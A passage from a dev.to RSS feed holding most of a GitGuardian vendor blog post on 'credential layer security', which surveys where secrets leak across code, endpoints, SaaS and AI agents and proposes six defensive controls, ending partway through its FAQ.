&lt;p&gt;If the host was inventoried, GitGuardian NHI Governance lists its credentials, owners, and revocation order in one query. If it wasn't, ggshield scans the forensic image to find the secrets in the web root and configuration files.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How can I prepare for the next PHP compromise?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Before an incident, document what each host uses, what each secret protects, and who owns it. Keep this next to your incident response runbook so rotating secrets takes minutes instead of hours.&lt;/p&gt;

</description>
      <category>security</category>
      <category>php</category>
      <category>devsecops</category>
      <category>appsec</category>
    </item>
    <item>
      <title>Credential Layer Security Explained: Scope and Controls</title>
      <dc:creator>Dwayne McDaniel</dc:creator>
      <pubDate>Thu, 22 Oct 2026 22:04:24 +0000</pubDate>
      <link>https://dev.to/gitguardian/credential-layer-security-explained-scope-and-controls-1l5p</link>
      <guid>https://dev.to/gitguardian/credential-layer-security-explained-scope-and-controls-1l5p</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fuiuraxk62f08uqbyshmg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fuiuraxk62f08uqbyshmg.png" alt="What Is Credential Layer Security? The Layer Every Other Control Trusts" width="800" height="420"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;The credential layer is every surface holding a secret&lt;/strong&gt;: Code, cloud, laptops, SaaS, collaboration tools, and public sites all hold plaintext credentials, and a single key can travel through all of them during its lifetime.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Six controls form a connected program&lt;/strong&gt;: Discover, prioritize by access risk, connect to owners, remediate copies, prevent spread, and detect harvesting with honeytokens, working alongside IAM, PAM, vaults, EDR, and cloud security.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Endpoints and AI agents raise the stakes&lt;/strong&gt;: Developer laptops average about 150 secrets each, and agents can read files, run commands, and call MCP servers, so credential scope and deterministic controls matter more.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What is credential layer security?
&lt;/h2&gt;

&lt;p&gt;Before we define the full credential layer, let's start by defining "credential." In the context of information technology, we define a credential as any piece of data that grants access to a system, service, resource, or data. We also commonly call these "secrets." Some credentials require additional authentication conditions to be met, but most grant access through possession of the data alone.&lt;/p&gt;

&lt;p&gt;These take the form of passwords, API keys, access tokens, private keys, and other authentication material, which, on its own, allows an entity, be it human, workload, or AI, to authenticate to another system or platform.&lt;/p&gt;

&lt;p&gt;The credential layer enables your organization's connectivity and encompasses every place a credential can exist, in any state or condition. That is a very wide definition, but that is also the honest scope. Any surface that can hold plaintext is part of the credential layer's surface. This includes code, cloud infrastructure, laptops and dev environments, and SaaS applications. All can hold plaintext credentials. That is the reality security teams are up against.&lt;/p&gt;

&lt;p&gt;Putting this all together, we get to our definition: Credential layer security is the practice and focus of protecting every surface where credentials can be created, stored, transmitted, or used. In practice, that means finding all plaintext secrets and connecting identity context, remediation, and prevention across the enterprise.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why are credentials a security concern?
&lt;/h3&gt;

&lt;p&gt;Credentials don't just allow access to systems that contain private data; they also provide access to control an organization's infrastructure.&lt;/p&gt;

&lt;p&gt;An exposed customer record can reveal personally identifiable information, which is highly regulated. An exposed credential can provide ongoing access to systems, giving adversaries more time to plan and explore. Secrets also enable administering your infrastructure, which can be very costly when abused.&lt;/p&gt;

&lt;p&gt;The credential layer stretches across the entire digital environment, including systems that were never designed to manage credentials.&lt;/p&gt;

&lt;p&gt;Protecting it requires understanding where credentials exist, what they can access, who owns them, and how to prevent their exposure or abuse.&lt;/p&gt;

&lt;h3&gt;
  
  
  The credential layer includes every surface that can hold a credential
&lt;/h3&gt;

&lt;p&gt;The credential layer has no single technology boundary. It permeates the systems where software is developed, operated, and maintained.&lt;/p&gt;

&lt;p&gt;A useful way to understand its scope is to group credential surfaces according to their intended purpose and the organization's ability to control them.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Surface group&lt;/th&gt;
&lt;th&gt;What it means&lt;/th&gt;
&lt;th&gt;Where credentials appear&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Governed stores&lt;/td&gt;
&lt;td&gt;Systems intended to hold and manage credentials securely&lt;/td&gt;
&lt;td&gt;Vaults, secrets managers, password managers, CI/CD secret stores&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Working surfaces&lt;/td&gt;
&lt;td&gt;Systems where credentials are used during normal operations&lt;/td&gt;
&lt;td&gt;Source code, pipelines, cloud runtime, developer endpoints, AI agents, MCP servers, logs, backups, and data platforms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Spilled surfaces&lt;/td&gt;
&lt;td&gt;Internal systems where credentials appear outside their intended purpose&lt;/td&gt;
&lt;td&gt;Slack, Jira, Confluence, email, support tickets, documentation, and messaging tools&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Escaped surfaces&lt;/td&gt;
&lt;td&gt;Public or external locations beyond organizational control&lt;/td&gt;
&lt;td&gt;Public GitHub, Docker Hub, package registries, public artifacts, paste sites, and personal repositories&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Each surface creates a different remediation challenge.&lt;/p&gt;

&lt;p&gt;A credential inside a vault can be governed through access controls and rotation policies. You can remove a credential from source code, but its history may remain accessible. A credential in a backup may be difficult to erase. A credential published to the internet must be treated as potentially copied by anyone.&lt;/p&gt;

&lt;p&gt;The same credential can, and often does, move through all four groups during its lifetime, most often moving through the laptop.&lt;/p&gt;

&lt;p&gt;An API key might originate in a cloud service, be stored in a vault, copied onto a local .env file, used by an AI coding assistant, written into a build log, and eventually committed to a public repository.&lt;/p&gt;

&lt;p&gt;Every location becomes part of the credential layer, and the credential can retain its original access throughout that journey.&lt;/p&gt;

&lt;h3&gt;
  
  
  The credential layer and the identity layer work together
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fvbp7ewq6bcyaptz2at4h.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fvbp7ewq6bcyaptz2at4h.png" alt="5 questions that turn a secret into a risk" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The identity layer establishes who or what is requesting access. This is the bedrock for IAM and how authentication and authorization are governed. The credential layer includes every surface where the authentication material associated with those identities can exist.&lt;/p&gt;

&lt;p&gt;A developer might use their authority to create a service account for a cloud service. That new identity is granted access to a production database with a plaintext key. That API key can exist in a developer's local configuration, a deployment pipeline, and an archived support ticket.&lt;/p&gt;

&lt;p&gt;Every credential security program needs to go beyond just discovering secrets. They need to answer several connected questions around identity and access:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Which identity does this credential map to?&lt;/li&gt;
&lt;li&gt;Who owns that identity?&lt;/li&gt;
&lt;li&gt;Is the credential valid?&lt;/li&gt;
&lt;li&gt;What can it access?&lt;/li&gt;
&lt;li&gt;Where else does it exist?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That context turns a discovered string into a security risk that can be understood and addressed.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why attackers target the credential layer
&lt;/h2&gt;

&lt;p&gt;Attackers know that a single plaintext string can let them act as identities with access to systems that already trust them.&lt;/p&gt;

&lt;p&gt;An attacker who obtains a valid credential can authenticate to a service, retrieve protected data, or perform actions within the permissions assigned to that identity. No zero days or deep system knowledge needed.&lt;/p&gt;

&lt;p&gt;The initial exposure may come from a repository, a compromised laptop, a collaboration message, or an external dependency. The pattern is always that an attacker obtains an authentication mechanism and then uses the access it provides. This is why Credential Access is &lt;a href="https://attack.mitre.org/tactics/TA0006/" rel="noopener noreferrer"&gt;tactic 6 of the MITRE ATT&amp;amp;CK framework&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;A single credential can lead to many more credentials.&lt;/p&gt;

&lt;p&gt;Access to a developer workstation might reveal cloud tokens and SSH keys. Access to a CI/CD platform might reveal deployment credentials. Access to a cloud environment might reveal service account permissions or configuration containing more authentication material.&lt;/p&gt;

&lt;p&gt;Each successful step can lead to another part of the credential layer.&lt;/p&gt;

&lt;h3&gt;
  
  
  Machine credentials make access easier for attackers
&lt;/h3&gt;

&lt;p&gt;Human authentication increasingly includes MFA, device verification, and contextual access policies.&lt;/p&gt;

&lt;p&gt;Most machine-to-machine systems still depend on reusable bearer tokens or API keys. A valid credential alone can be sufficient to authenticate a request without additional proof of who possesses it.&lt;/p&gt;

&lt;p&gt;These credentials are often broadly scoped and long-lived. The goal is to keep production running, which means stability and avoiding permission issues while the application operates.&lt;/p&gt;

&lt;p&gt;A pipeline token might have permission to publish packages for years. A cloud key might access production storage long after the related systems have been decommissioned. A service account can retain privileges from a project completed years earlier. By default, most credentials have no expiration date; they keep working forever unless configured otherwise.&lt;/p&gt;

&lt;p&gt;At machine speed, an attacker can harvest, test, and use a credential before a human analyst begins investigating the original exposure.&lt;/p&gt;

&lt;h3&gt;
  
  
  Supply chain attacks demonstrate the power and danger of local credentials
&lt;/h3&gt;

&lt;p&gt;The &lt;a href="https://blog.gitguardian.com/shai-hulud-npm-pypi-supply-chain-attacks/" rel="noopener noreferrer"&gt;Shai-Hulud npm supply chain attacks&lt;/a&gt;, while just one of many similar campaigns, show how attackers exploit the credential layer across multiple systems.&lt;/p&gt;

&lt;p&gt;The attack used compromised packages to harvest credentials from developer and CI/CD environments. Stolen tokens enabled further malicious activity, including propagation through package publishing and exposure of harvested secrets.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.gitguardian.com/shai-hulud-2/" rel="noopener noreferrer"&gt;The GitGuardian analysis of one wave identified 33,185 unique secrets across 294,842&lt;/a&gt; occurrences, including 3,760 credentials confirmed valid during analysis.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fn8muq30cydxo976208x9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fn8muq30cydxo976208x9.png" alt="Shai-hulud 2: top 10 types of unique valid secrets" width="800" height="436"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The infostealer malware moved through developer endpoints, package registries, CI/CD infrastructure, and public GitHub, publishing copies of itself forward wherever possible. Each surface it touched had differently managed security strategies, but the credentials layer connected all of those surfaces, regardless of governance policies.&lt;/p&gt;

&lt;p&gt;This is the challenge with treating credential exposures as isolated incidents. A secret discovered in one system may already have been copied into several others, and its permissions can make those other systems reachable.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where credential layer security fits in defense in depth
&lt;/h2&gt;

&lt;p&gt;Enterprise security has been built around specialized controls, separating logical concerns from an IT perspective. Each stack addresses an individual enterprise need: IAM, PAM, secrets managers, EDR, cloud security, and application security are all needed.&lt;/p&gt;

&lt;p&gt;Credential layer security operates across these existing investments because credentials move between the environments they protect.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Security control&lt;/th&gt;
&lt;th&gt;What it primarily manages&lt;/th&gt;
&lt;th&gt;Credential layer consideration&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;IAM and IGA&lt;/td&gt;
&lt;td&gt;Identities, roles, and entitlements&lt;/td&gt;
&lt;td&gt;Credentials associated with identities may exist outside managed systems&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PAM&lt;/td&gt;
&lt;td&gt;Privileged access and sessions&lt;/td&gt;
&lt;td&gt;Privileged credentials may be copied into files, scripts, or other environments&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Secrets managers and vaults&lt;/td&gt;
&lt;td&gt;Secure storage, delivery, and rotation&lt;/td&gt;
&lt;td&gt;Credentials can exist outside managed stores, including copies of vaulted secrets&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AppSec and code scanning&lt;/td&gt;
&lt;td&gt;Application risks and repository exposure&lt;/td&gt;
&lt;td&gt;Credentials also accumulate outside repositories&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;EDR and XDR&lt;/td&gt;
&lt;td&gt;Endpoint behavior and suspicious activity&lt;/td&gt;
&lt;td&gt;Credential inventory, validity, and permissions require additional context&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ITDR&lt;/td&gt;
&lt;td&gt;Identity attacks and suspicious authentication activity&lt;/td&gt;
&lt;td&gt;Credential exposure can be identified before suspicious use&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cloud security&lt;/td&gt;
&lt;td&gt;Cloud configuration, workloads, and access&lt;/td&gt;
&lt;td&gt;Cloud credentials can spread into development and external systems&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SIEM&lt;/td&gt;
&lt;td&gt;Security telemetry and correlation&lt;/td&gt;
&lt;td&gt;Credential risks depend on whether exposure and identity context are available&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Every one of these controls remains necessary. Credential layer security provides a way to connect the findings from where they overlap or leave gaps.&lt;/p&gt;

&lt;p&gt;Credentials are essential operational resources for most organizations and, at the same time, potential security liabilities. Developers and applications need reliable access to do their work. Controls that introduce excessive friction can encourage unmanaged copies and workarounds.&lt;/p&gt;

&lt;p&gt;A mature program combines visibility and enforcement with practical workflows for securely creating, distributing, using, and retiring credentials.&lt;/p&gt;

&lt;h2&gt;
  
  
  The six controls of credential layer security
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F5z3waquiql4bo8a0gc63.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F5z3waquiql4bo8a0gc63.png" alt="The six controls of credential layer security" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Organizations need a consistent approach that works across all credential surfaces. We propose there are six controls that provide that foundation.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Discover credentials wherever they exist
&lt;/h3&gt;

&lt;p&gt;Visibility across the credential layer is vital. This extends well beyond what is just known and vaulted.&lt;/p&gt;

&lt;p&gt;Scanning source repositories is an important starting point, as applications connect to our most important resources. Coverage also needs to extend into pipelines, developer endpoints, AI configuration, operational data, collaboration tools, public repositories, and other environments where credentials appear.&lt;/p&gt;

&lt;p&gt;GitGuardian's &lt;a href="https://blog.gitguardian.com/the-state-of-secrets-sprawl-2026/" rel="noopener noreferrer"&gt;State of Secrets Sprawl 2026&lt;/a&gt; reported 28.65 million new secrets exposed on public GitHub just during 2025. That's a 34% year-over-year increase. At the same time, the report found that approximately 28% of secret incidents occurred entirely outside code repositories.&lt;/p&gt;

&lt;p&gt;The objective of discovery is to find credentials across the environments where they actually exist, including historical exposure and copies that persist long after their original purpose has ended.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Prioritize credential findings by their access risk
&lt;/h3&gt;

&lt;p&gt;A long, high-entropy string, on its own, is not a danger. Any string that grants access is. Context determines which require attention first. Validation is a good place to start. A credential's validity, type, permissions, exposure location, and associated systems help establish its risk.&lt;/p&gt;

&lt;p&gt;Thinking of extreme examples, a valid production API key with administrative privileges presents a higher risk that requires attention, vs. an expired test credential which is no good for anyone.&lt;/p&gt;

&lt;p&gt;However, some credential providers offer limited or no direct validity checking. For many secrets found by our generic detectors, like SSH keys or custom tokens, it can be impossible to map these back to the issuing system. Security teams need to rely on additional signals, including recent use, credential structure, associated identities, and the environments where the secret appears.&lt;/p&gt;

&lt;p&gt;Prioritization should consider what the credential can reach and the consequences of unauthorized use.&lt;/p&gt;

&lt;p&gt;Security teams should focus remediation efforts on exposures that pose the greatest risk to critical business systems.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Connect credentials to identities and owners
&lt;/h3&gt;

&lt;p&gt;Every credential had a purpose when created. This means someone created it. Is that same person the owner now, and are they accountable for it?&lt;/p&gt;

&lt;p&gt;Answering this is increasingly difficult as organizations create more non-human identities.&lt;/p&gt;

&lt;p&gt;Their original owners of any minted keys or tokens may change roles or leave the company entirely, while the credentials remain active. After the applications that needed them are retired, these service account passwords, cloud workload tokens, and AI agent keys retain their permissions, granting access to systems for anyone who finds them.&lt;/p&gt;

&lt;p&gt;A complete credential-layer view connects each secret to its associated identity, responsible team, permissions, and rotation requirements. It also identifies orphaned identities, overprivileged accounts, and credentials with uncertain ownership.&lt;/p&gt;

&lt;p&gt;When a critical credential is exposed, the security team will invariably need to identify who has the authority and technical understanding to rotate or revoke it safely.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Remediate the credential and its exposed copies
&lt;/h3&gt;

&lt;p&gt;For any security team, the immediate instinct when a secret is found is to revoke it, stopping abuse and attacker access. But this carries the risk of reducing the availability of the systems relying on those credentials. After all, if we fail at keeping things running, we have fallen short of the CIA triad: Confidentiality, Integrity, and Availability.&lt;/p&gt;

&lt;p&gt;How you respond to a leak, or exposure, differs by surface. Consider an internal collaboration message; even if deleted, you need to consider exports, notifications, and backups that may retain copies. A credential exposed in a public repository must be treated as potentially copied outside the organization's control. Logs, snapshots, traces, and backups can retain credentials long after the original exposure.&lt;/p&gt;

&lt;p&gt;Rotation, meaning replacing the secret with a new one and invalidating the compromised secret, or simply revoking it, will always need to be a case-by-case decision. Security, platform, and application owners need coordinated workflows to replace it without disrupting operations.&lt;/p&gt;

&lt;p&gt;A mature credential layer security program needs to treat related copies of an exposure as one connected incident. Tracking remediation by confirming the old credential no longer works is the only way to know when it is safe to resolve leak occurrences.&lt;/p&gt;

&lt;h3&gt;
  
  
  5. Prevent credentials from spreading in plaintext
&lt;/h3&gt;

&lt;p&gt;While discovery and remediation make up the core of any credential layer program, preventing the need for scanning and incident management should be a significant part of the mission. Preventing new credentials from entering unmanaged environments is the most cost-effective way to tackle the issue of secret sprawl.&lt;/p&gt;

&lt;p&gt;Teams need to implement controls at the local level. With pre-commit hooks, teams can make sure credentials never make it to shared repositories. This, in turn, keeps them out of pull requests, CI/CD execution, and any logs or build artifacts.&lt;/p&gt;

&lt;p&gt;Developers can get immediate feedback and guidance while any keys are in plaintext in the IDE, when it is far easier to correct. If it never reaches production, revoking and replacing is much safer, since nothing should break when it is invalidated.&lt;/p&gt;

&lt;p&gt;AI coding assistants, now commonplace, are another place where preventive controls are needed. Deterministic hooks can check for secrets in prompts, file reads, commands, and supported tool actions at defined points in an agent workflow, stopping the agent from taking further action if any are found. This prevents secret sprawl and, importantly, adds controls against the AI abusing keys it encounters while working to complete a task.&lt;/p&gt;

&lt;p&gt;Reducing unnecessary credential movement should be the central focus, but security teams need to work with developers to reduce risk further. Short-lived credentials, narrowly scoped permissions, secure injection, and workload identity federation can reduce reliance on reusable secrets.&lt;/p&gt;

&lt;p&gt;For supported machine-to-machine interactions, federation using standards such as OIDC can replace standing API keys with temporary credentials issued for a particular workload or session. Those decisions need to be implemented by platform, DevOps, and development teams.&lt;/p&gt;

&lt;h3&gt;
  
  
  6. Detect suspicious credential harvesting with honeytokens
&lt;/h3&gt;

&lt;p&gt;Some credential exposure becomes visible only when someone attempts to use the information they have obtained.&lt;/p&gt;

&lt;p&gt;Honeytokens provide a way to detect this activity.&lt;/p&gt;

&lt;p&gt;A honeytoken is a decoy credential planted in a location where legitimate workflows have no reason to use it. When someone attempts to authenticate with the decoy, the attempt generates an alert.&lt;/p&gt;

&lt;p&gt;Placed on developer endpoints, honeytokens can help reveal infostealers or other software harvesting local credentials.&lt;/p&gt;

&lt;p&gt;They can also provide useful evidence during incident response, including which protected environment contained the decoy and when an attempted use occurred.&lt;/p&gt;

&lt;p&gt;Honeytokens complement discovery and prevention by identifying attempted abuse of planted credentials.&lt;/p&gt;

&lt;h3&gt;
  
  
  Six controls, one goal
&lt;/h3&gt;

&lt;p&gt;Considered together, these six controls support a connected program.&lt;/p&gt;

&lt;p&gt;Discovery establishes visibility. Validation identifies risk. Ownership establishes accountability. Remediation removes exposed access. Prevention reduces future exposure. Deception helps reveal unauthorized credential activity.&lt;/p&gt;

&lt;p&gt;Combined with a broader defense-in-depth strategy, using the other systems and tools previously outlined, organizations are far more resilient when it comes to access and security.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why developer endpoints and AI agents demand attention
&lt;/h2&gt;

&lt;p&gt;Developer laptops have become some of the richest credential surfaces in the enterprise.&lt;/p&gt;

&lt;p&gt;During an ordinary workday, a developer may authenticate to source control, cloud infrastructure, package registries, CI/CD services, databases, and internal applications.&lt;/p&gt;

&lt;p&gt;Those credentials can accumulate in .env files, shell history, local scripts, CLI configurations, browser storage, caches, and other developer tooling.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.gitguardian.com/extending-our-mission-with-developer-endpoint-protection/" rel="noopener noreferrer"&gt;GitGuardian's Developer Endpoint Protection research&lt;/a&gt; found an average of approximately 150 secrets per developer laptop. Many of these credentials never enter a repository. Traditional downstream scanning has no opportunity to discover them.&lt;/p&gt;

&lt;h3&gt;
  
  
  AI coding assistants extend exposure
&lt;/h3&gt;

&lt;p&gt;AI coding assistants and other local agents, like OpenClaw, offer many advantages for automating tasks and saving everyone toil. They are helpful precisely because they can read files, execute commands, call APIs, and communicate with MCP servers. But this is also where the danger lies.&lt;/p&gt;

&lt;p&gt;When they can encounter credentials, either already present on a developer's machine or introduce new exposures through prompts, generated code, tool responses, and configuration files, their non-deterministic nature means they might act as an insider threat. And they encounter such secrets very often, increasingly due to their own architectures.&lt;/p&gt;

&lt;p&gt;The 2026 State of Secrets Sprawl report identified 24,008 unique secrets in publicly exposed MCP configuration files, including 2,117 valid credentials. Many of them should be considered highly critical and dangerous. While at the same time, credentials related to AI services increased 81% year over year. These findings show how rapidly development practices can create new credential locations.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fjgwlcsh2qfbae01130ss.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fjgwlcsh2qfbae01130ss.png" alt="Top 5 valid unique secrets in MCP configuration files" width="747" height="365"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;For security teams, the challenge remains consistent: discover what credentials an agent can encounter, understand the access they provide, establish ownership, and prevent unnecessary exposure.&lt;/p&gt;

&lt;p&gt;An agent's intended behavior may be defined in its instructions. Its actual ability to affect enterprise systems depends on the tools, credentials, and permissions available to it.&lt;/p&gt;

&lt;p&gt;This makes credential scope and deterministic access controls increasingly important.&lt;/p&gt;

&lt;h2&gt;
  
  
  From isolated controls to mature credential layer security
&lt;/h2&gt;

&lt;p&gt;Organizations can begin securing the credential layer with relatively simple controls. The challenge is connecting those controls as coverage expands.&lt;/p&gt;

&lt;p&gt;At lower maturity levels, a secret in a repository, a developer laptop, and a collaboration ticket may create three unrelated security incidents.&lt;/p&gt;

&lt;p&gt;At higher levels, those discoveries can be connected to the same credential, its issuing system, the identity behind it, and the access it provides.&lt;/p&gt;

&lt;p&gt;The &lt;a href="https://www.gitguardian.com/secrets-management-maturity-questionnaire" rel="noopener noreferrer"&gt;GitGuardian Credential Layer Security Maturity Questionnaire&lt;/a&gt; provides a starting point for organizations assessing their current coverage and maturity.&lt;/p&gt;

&lt;h2&gt;
  
  
  How GitGuardian fits
&lt;/h2&gt;

&lt;p&gt;GitGuardian's mission is to detect, remediate, and prevent secrets sprawl across the credential layer.&lt;/p&gt;

&lt;p&gt;The GitGuardian platform's capabilities cover the six controls described above and provide a unified workspace experience that IAM, DevOps, Security, Platform, and any other team involved in credential creation and management can leverage.&lt;/p&gt;

&lt;p&gt;GitGuardian's Secrets Monitoring discovers exposed credentials across the whole exposed surface, including repositories, CI/CD environments, collaboration tools, and public GitHub. Developer Endpoint Protection extends that same level of discovery into developer machines, which can be deployed via MDM, identifying credentials in local files and tools and scoring exposure by machine, severity, and validity.&lt;/p&gt;

&lt;p&gt;The platform connects credentials to identity ownership, surfaces permissions the credentials hold, and provides context for what is affected if a secret is rotated or revoked. From a security operations perspective, the platform fully supports prioritization and remediation. Honeytoken provides deception signals when decoy credentials are used.&lt;/p&gt;

&lt;p&gt;For prevention, GitGuardian extends the power of the platform to the developer, where they work, through ggshield. Developer-focused tools, like the &lt;a href="https://blog.gitguardian.com/visual-studio-code-extension/" rel="noopener noreferrer"&gt;VS Code Extension&lt;/a&gt; and automated ggshield commands such as pre-commit hooks, give your team commit-time checks and guardrails without asking them to change their workflows. AI hooks can inspect credential exposure at defined checkpoints along coding agents' working paths.&lt;/p&gt;

&lt;p&gt;These capabilities complement the IAM, IGA, PAM, vault, EDR, ITDR, and cloud controls organizations already operating.&lt;/p&gt;

&lt;p&gt;Together, they support a coordinated approach to securing credentials across the many environments where those credentials exist and move.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where credential layer security is heading
&lt;/h2&gt;

&lt;p&gt;The credential layer will continue expanding as software becomes more automated and enterprise systems become more interconnected.&lt;/p&gt;

&lt;p&gt;AI agents, automated workflows, and new integrations will create additional places where credentials are issued, used, cached, and exposed.&lt;/p&gt;

&lt;p&gt;At the same time, changes in authentication architecture offer opportunities to reduce reliance on persistent secrets. Workload identity federation, short-lived tokens, and more narrowly scoped permissions can reduce the number of reusable credentials that remain valuable after exposure.&lt;/p&gt;

&lt;p&gt;Any improvements like these do not eliminate the need for credential-layer visibility. Temporary credentials can still appear in logs or tooling, and systems will continue to depend on authentication material in different forms.&lt;/p&gt;

&lt;p&gt;The future of the credential layer is a connected security program that understands credentials throughout their lifecycle, following where they are created, where they travel, what identities they represent, what systems they can reach, and how they are retired.&lt;/p&gt;

&lt;h2&gt;
  
  
  Secure the credential every other control trusts
&lt;/h2&gt;

&lt;p&gt;Every part of the modern enterprise relies on credentials. The credential layer includes every surface where those credentials can exist. Its boundaries extend across security tools, development processes, organizational departments, and the public internet.&lt;/p&gt;

&lt;p&gt;Securing the credential layer from attackers, insider threats, and AI abuse requires treating those connected exposures as one enterprise-wide security concern. Organizations need visibility across surfaces, knowledge of the identities and permissions behind each credential, and coordinated processes to remove dangerous access and prevent new exposure.&lt;/p&gt;

&lt;p&gt;As automated systems create and use credentials at increasing speed, the ability to secure this layer becomes fundamental to protecting the enterprise.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.gitguardian.com/interactive-demo" rel="noopener noreferrer"&gt;Take a platform tour now.&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;What is credential layer security?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Credential layer security is the practice of protecting every surface where credentials can be created, stored, transmitted, or used. In practice, that means finding all plaintext secrets and connecting identity context, remediation, and prevention across the enterprise.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What is the credential layer?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The credential layer encompasses every place a credential can exist, in any state or condition, including code, cloud infrastructure, laptops and dev environments, and SaaS applications. It has four surface groups: governed stores like vaults, working surfaces like pipelines and developer endpoints, spilled surfaces like Slack and Jira, and escaped surfaces like public GitHub and paste sites. A single credential often moves through all four during its lifetime.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why do attackers target the credential layer?&lt;/strong&gt;&lt;/p&gt;

